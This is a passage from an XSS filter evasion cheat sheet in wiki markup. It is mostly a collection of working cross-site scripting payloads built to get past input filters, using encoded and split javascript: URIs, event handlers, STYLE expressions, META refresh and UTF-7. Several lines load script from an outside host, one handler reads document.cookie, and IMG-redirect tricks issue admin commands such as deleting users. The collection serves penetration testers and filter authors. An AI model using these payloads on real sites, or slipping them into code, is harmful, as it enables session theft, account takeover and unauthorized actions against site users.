This is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

== Hexadecimal HTML character references without trailing semicolons ==
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS [http://ha.ckers.org/xsscalc.html calculator] for more information:

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

== Embedded tab ==
Used to break up the cross site scripting attack:

<IMG SRC="jav	ascript:alert('XSS');">

== Embedded Encoded tab ==
Use this one to break up XSS :
<IMG SRC="jav&#x09;ascript:alert('XSS');">

== Embedded newline to break up XSS ==
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

<nowiki><IMG SRC="jav&#x0A;ascript:alert('XSS');"></nowiki>

== Embedded carriage return to break up XSS ==
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

<nowiki><IMG SRC="jav&#x0D;ascript:alert('XSS');"></nowiki>

== Null breaks up JavaScript directive ==
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

== Spaces and meta chars before the JavaScript in images for XSS ==
This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal:

<IMG SRC="  javascript:alert('XSS');">

== Non-alpha-non-digit XSS ==
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace.
For example "<SCRIPT\s" != "<SCRIPT/XSS\s":

<nowiki><SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:

<nowiki><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")></nowiki>

Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.

<nowiki><SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

== Extraneous open brackets ==
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:
<<SCRIPT>alert("XSS");//<</SCRIPT>

== No closing script tags ==
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

<nowiki><SCRIPT SRC=http://ha.ckers.org/xss.js?< B ></nowiki>

== Protocol resolution in script tags ==
This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.

<SCRIPT SRC=//ha.ckers.org/.j>

== Half open HTML/JavaScript XSS vector ==
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:

<IMG SRC="javascript:alert('XSS')"

== Double open angle brackets ==
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:

<nowiki><iframe src=http://ha.ckers.org/scriptlet.html <</nowiki>

== Escaping JavaScript escapes ==
When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

\";alert('XSS');//

== End title tag ==
This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

<nowiki></TITLE><SCRIPT>alert("XSS");</SCRIPT></nowiki>

==INPUT image ==
<nowiki><INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"></nowiki>

== BODY image ==
<nowiki><BODY BACKGROUND="javascript:alert('XSS')"></nowiki>

== IMG Dynsrc ==
<nowiki><IMG DYNSRC="javascript:alert('XSS')"></nowiki>

== IMG lowsrc ==
<nowiki><IMG LOWSRC="javascript:alert('XSS')"></nowiki>

== List-style-image ==
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

<nowiki><STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br></nowiki>

== VBscript in an image ==
<nowiki><IMG SRC='vbscript:msgbox("XSS")'></nowiki>

== Livescript (older versions of Netscape only) ==
<nowiki><IMG SRC="livescript:[code]"></nowiki>

== BODY tag ==
Method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign ("onload=" != "onload ="):

<nowiki><BODY ONLOAD=alert('XSS')></nowiki>

== Event Handlers ==

It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.

The [http://help.dottoro.com/ Dottoro Web Reference] also has a nice [http://help.dottoro.com/ljfvvdnm.php list of events in JavaScript].

# <code>FSCommand()</code> (attacker can use this when executed from within an embedded Flash object)
# <code>onAbort()</code> (when user aborts the loading of an image)
# <code>onActivate()</code> (when object is set as the active element)
# <code>onAfterPrint()</code> (activates after user prints or previews print job)
# <code>onAfterUpdate()</code> (activates on data object after updating data in the source object)
# <code>onBeforeActivate()</code> (fires before the object is set as the active element)
# <code>onBeforeCopy()</code> (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the <code>execCommand("Copy")</code> function)
# <code>onBeforeCut()</code> (attacker executes the attack string right before a selection is cut)
# <code>onBeforeDeactivate()</code> (fires right after the activeElement is changed from the current object)
# <code>onBeforeEditFocus()</code> (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
# <code>onBeforePaste()</code> (user needs to be tricked into pasting or be forced into it using the <code>execCommand("Paste")</code> function)
# <code>onBeforePrint()</code> (user would need to be tricked into printing or attacker could use the <code>print()</code> or <code>execCommand("Print")</code> function).
# <code>onBeforeUnload()</code> (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
# <code>onBeforeUpdate()</code> (activates on data object before updating data in the source object)
# <code>onBegin()</code> (the onbegin event fires immediately when the element's timeline begins)
# <code>onBlur()</code> (in the case where another popup is loaded and window looses focus)
# <code>onBounce()</code> (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
# <code>onCellChange()</code> (fires when data changes in the data provider)
# <code>onChange()</code> (select, text, or TEXTAREA field loses focus and its value has been modified)
# <code>onClick()</code> (someone clicks on a form)
# <code>onContextMenu()</code> (user would need to right click on attack area)
# <code>onControlSelect()</code> (fires when the user is about to make a control selection of the object)
# <code>onCopy()</code> (user needs to copy something or it can be exploited using the <code>execCommand("Copy")</code> command)
# <code>onCut()</code> (user needs to copy something or it can be exploited using the <code>execCommand("Cut")</code> command)
# <code>onDataAvailable()</code> (user would need to change data in an element, or attacker could perform the same function)
# <code>onDataSetChanged()</code> (fires when the data set exposed by a data source object changes)
# <code>onDataSetComplete()</code> (fires to indicate that all data is available from the data source object)
# <code>onDblClick()</code> (user double-clicks a form element or a link)
# <code>onDeactivate()</code> (fires when the activeElement is changed from the current object to another object in the parent document)
# <code>onDrag()</code> (requires that the user drags an object)
# <code>onDragEnd()</code> (requires that the user drags an object)
# <code>onDragLeave()</code> (requires that the user drags an object off a valid location)
# <code>onDragEnter()</code> (requires that the user drags an object into a valid location)
# <code>onDragOver()</code> (requires that the user drags an object into a valid location)
# <code>onDragDrop()</code> (user drops an object (e.g. file) onto the browser window)
# <code>onDragStart()</code> (occurs when user starts drag operation)
# <code>onDrop()</code> (user drops an object (e.g. file) onto the browser window)
# <code>onEnd()</code> (the onEnd event fires when the timeline ends.
# <code>onError()</code> (loading of a document or image causes an error)
# <code>onErrorUpdate()</code> (fires on a databound object when an error occurs while updating the associated data in the data source object)
# <code>onFilterChange()</code> (fires when a visual filter completes state change)
# <code>onFinish()</code> (attacker can create the exploit when marquee is finished looping)
# <code>onFocus()</code> (attacker executes the attack string when the window gets focus)
# <code>onFocusIn()</code> (attacker executes the attack string when window gets focus)
# <code>onFocusOut()</code> (attacker executes the attack string when window looses focus)
# <code>onHashChange()</code> (fires when the fragment identifier part of the document's current address changed)
# <code>onHelp()</code> (attacker executes the attack string when users hits F1 while the window is in focus)
# <code>onInput()</code> (the text content of an element is changed through the user interface)
# <code>onKeyDown()</code> (user depresses a key)
# <code>onKeyPress()</code> (user presses or holds down a key)
# <code>onKeyUp()</code> (user releases a key)
# <code>onLayoutComplete()</code> (user would have to print or print preview)
# <code>onLoad()</code> (attacker executes the attack string after the window loads)
# <code>onLoseCapture()</code> (can be exploited by the <code>releaseCapture()</code> method)
# <code>onMediaComplete()</code> (When a streaming media file is used, this event could fire before the file starts playing)
# <code>onMediaError()</code> (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
# <code>onMessage()</code> (fire when the document received a message)
# <code>onMouseDown()</code> (the attacker would need to get the user to click on an image)
# <code>onMouseEnter()</code> (cursor moves over an object or area)
# <code>onMouseLeave()</code> (the attacker would need to get the user to mouse over an image or table and then off again)
# <code>onMouseMove()</code> (the attacker would need to get the user to mouse over an image or table)
# <code>onMouseOut()</code> (the attacker would need to get the user to mouse over an image or table and then off again)
# <code>onMouseOver()</code> (cursor moves over an object or area)
# <code>onMouseUp()</code> (the attacker would need to get the user to click on an image)
# <code>onMouseWheel()</code> (the attacker would need to get the user to use their mouse wheel)
# <code>onMove()</code> (user or attacker would move the page)
# <code>onMoveEnd()</code> (user or attacker would move the page)
# <code>onMoveStart()</code> (user or attacker would move the page)
# <code>onOffline()</code> (occurs if the browser is working in online mode and it starts to work offline)
# <code>onOnline()</code> (occurs if the browser is working in offline mode and it starts to work online)
# <code>onOutOfSync()</code> (interrupt the element's ability to play its media as defined by the timeline)
# <code>onPaste()</code> (user would need to paste or attacker could use the <code>execCommand("Paste")</code> function)
# <code>onPause()</code> (the onpause event fires on every element that is active when the timeline pauses, including the body element)
# <code>onPopState()</code> (fires when user navigated the session history)
# <code>onProgress()</code> (attacker would use this as a flash movie was loading)
# <code>onPropertyChange()</code> (user or attacker would need to change an element property)
# <code>onReadyStateChange()</code> (user or attacker would need to change an element property)
# <code>onRedo()</code> (user went forward in undo transaction history)
# <code>onRepeat()</code> (the event fires once for each repetition of the timeline, excluding the first full cycle)
# <code>onReset()</code> (user or attacker resets a form)
# <code>onResize()</code> (user would resize the window; attacker could auto initialize with something like: <code><SCRIPT>self.resizeTo(500,400);</SCRIPT></code>)
# <code>onResizeEnd()</code> (user would resize the window; attacker could auto initialize with something like: <code><SCRIPT>self.resizeTo(500,400);</SCRIPT></code>)
# <code>onResizeStart()</code> (user would resize the window; attacker could auto initialize with something like: <code><SCRIPT>self.resizeTo(500,400);</SCRIPT></code>)
# <code>onResume()</code> (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
# <code>onReverse()</code> (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
# <code>onRowsEnter()</code> (user or attacker would need to change a row in a data source)
# <code>onRowExit()</code> (user or attacker would need to change a row in a data source)
# <code>onRowDelete()</code> (user or attacker would need to delete a row in a data source)
# <code>onRowInserted()</code> (user or attacker would need to insert a row in a data source)
# <code>onScroll()</code> (user would need to scroll, or attacker could use the <code>scrollBy()</code> function)
# <code>onSeek()</code> (the onreverse event fires when the timeline is set to play in any direction other than forward)
# <code>onSelect()</code> (user needs to select some text - attacker could auto initialize with something like: <code>window.document.execCommand("SelectAll");</code>)
# <code>onSelectionChange()</code> (user needs to select some text - attacker could auto initialize with something like: <code>window.document.execCommand("SelectAll");</code>)
# <code>onSelectStart()</code> (user needs to select some text - attacker could auto initialize with something like: <code>window.document.execCommand("SelectAll");</code>)
# <code>onStart()</code> (fires at the beginning of each marquee loop)
# <code>onStop()</code> (user would need to press the stop button or leave the webpage)
# <code>onStorage()</code> (storage area changed)
# <code>onSyncRestored()</code> (user interrupts the element's ability to play its media as defined by the timeline to fire)
# <code>onSubmit()</code> (requires attacker or user submits a form)
# <code>onTimeError()</code> (user or attacker sets a time property, such as dur, to an invalid value)
# <code>onTrackChange()</code> (user or attacker changes track in a playList)
# <code>onUndo()</code> (user went backward in undo transaction history)
# <code>onUnload()</code> (as the user clicks any link or presses the back button or attacker forces a click)
# <code>onURLFlip()</code> (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
# <code>seekSegmentTime()</code> (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

== BGSOUND ==
<BGSOUND SRC="javascript:alert('XSS');">

== & JavaScript includes ==
<nowiki><BR SIZE="&{alert('XSS')}"></nowiki>
== STYLE sheet ==
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

== Remote style sheet ==
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:
<nowiki><LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"></nowiki>

== Remote style sheet part 2 ==
This works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

<nowiki><STYLE>@import'http://ha.ckers.org/xss.css';</STYLE></nowiki>

== Remote style sheet part 3 ==
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <nowiki><http://ha.ckers.org/xss.css>; REL=stylesheet)</nowiki> and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:

<nowiki><META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"></nowiki>

== Remote style sheet part 4 ==
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:
<nowiki><STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE></nowiki>

== STYLE tags with broken up JavaScript for XSS ==
This XSS at times sends IE into an infinite loop of alerts:
<nowiki><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE></nowiki>

== STYLE attribute using a comment to break up expression ==
Created by Roman Ivanov
<nowiki><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"></nowiki>

== IMG STYLE with expression ==
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:
<nowiki>exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'></nowiki>

== STYLE tag (Older versions of Netscape only)==
<nowiki><STYLE TYPE="text/javascript">alert('XSS');</STYLE></nowiki>

== STYLE tag using background-image ==
<nowiki><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A></nowiki>

== STYLE tag using background ==
<nowiki><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE></nowiki>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

== Anonymous HTML with STYLE attribute ==
IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:
<nowiki><XSS STYLE="xss:expression(alert('XSS'))"></nowiki>

== Local htc file ==
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:
<XSS STYLE="behavior: url(xss.htc);">

== US-ASCII encoding ==
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.

¼script¾alert(¢XSS¢)¼/script¾

== META ==
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:

<nowiki><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"></nowiki>

=== META using data ===
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS [http://ha.ckers.org/xsscalc.html calculator] below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:

<nowiki><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></nowiki>

=== META with additional URL parameter ===
If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):

<nowiki><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"></nowiki>

== IFRAME ==
If iframes are allowed there are a lot of other XSS problems as well:
<nowiki><IFRAME SRC="javascript:alert('XSS');"></IFRAME></nowiki>

== IFRAME Event based ==
IFrames and most other elements can use event based mayhem like the following...
(Submitted by: David Cross)
<nowiki><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME></nowiki>

== FRAME ==
Frames have the same sorts of XSS problems as iframes
<nowiki><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET></nowiki>

== TABLE ==
<nowiki><TABLE BACKGROUND="javascript:alert('XSS')"></nowiki>

=== TD ===
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:
<nowiki><TABLE><TD BACKGROUND="javascript:alert('XSS')"></nowiki>

== DIV ==

=== DIV background-image===
<nowiki><DIV STYLE="background-image: url(javascript:alert('XSS'))"></nowiki>

=== DIV background-image with unicoded XSS exploit ===
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

=== DIV background-image plus extra characters ===
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

<nowiki><DIV STYLE="background-image: url(javascript:alert('XSS'))"></nowiki>

=== DIV expression ===
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":
<nowiki><DIV STYLE="width: expression(alert('XSS'));"></nowiki>

== Downlevel-Hidden block ==
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:

<nowiki></nowiki>

== BASE tag ==
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):
<nowiki><BASE HREF="javascript:alert('XSS');//"></nowiki>

== OBJECT tag ==
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:

<nowiki><OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT></nowiki>

== Using an EMBED tag you can embed a Flash movie that contains XSS ==
Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
<nowiki>EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED></nowiki>

== You can EMBED SVG which can contain your XSS vector ==
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.
<nowiki><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED></nowiki>

== Using ActionScript inside flash can obfuscate your XSS vector ==

<nowiki>a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);</nowiki>

== XML data island with CDATA obfuscation ==
This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:

<nowiki><XML ID="xss"><I><B><IMG SRC="javascript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></nowiki>

== Locally hosted XML with embedded JavaScript that is generated using an XML data island ==
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:

<nowiki><XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></nowiki>

== HTML+TIME in XML ==
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:
<nowiki><HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML></nowiki>

== Assuming you can only fit in a few characters and it filters against ".js" ==
you can rename your JavaScript file to an image as an XSS vector:
<nowiki><SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT></nowiki>

== SSI (Server Side Includes)==
This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:
<nowiki></nowiki>

== PHP ==
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:

<nowiki><? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?></nowiki>

== IMG Embedded commands ==
This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:
<nowiki><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"></nowiki>

=== IMG Embedded commands part II ===
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):

<nowiki>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser</nowiki>

== Cookie manipulation ==
Admittidly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

<nowiki><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"></nowiki>

== UTF-7 encoding ==
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:
<nowiki><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</nowiki>

== XSS using HTML quote encapsulation ==
This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i":
<nowiki><SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):
<nowiki><SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":

<nowiki><SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):
<nowiki><SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):
<nowiki><SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:
<nowiki><SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

<nowiki><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT></nowiki>

== URL string evasion ==
Assuming "http://www.google.com/" is pro grammatically disallowed:

=== IP verses hostname ===
<nowiki><A HREF="http://66.102.7.147/">XSS</A></nowiki>

=== URL encoding ===
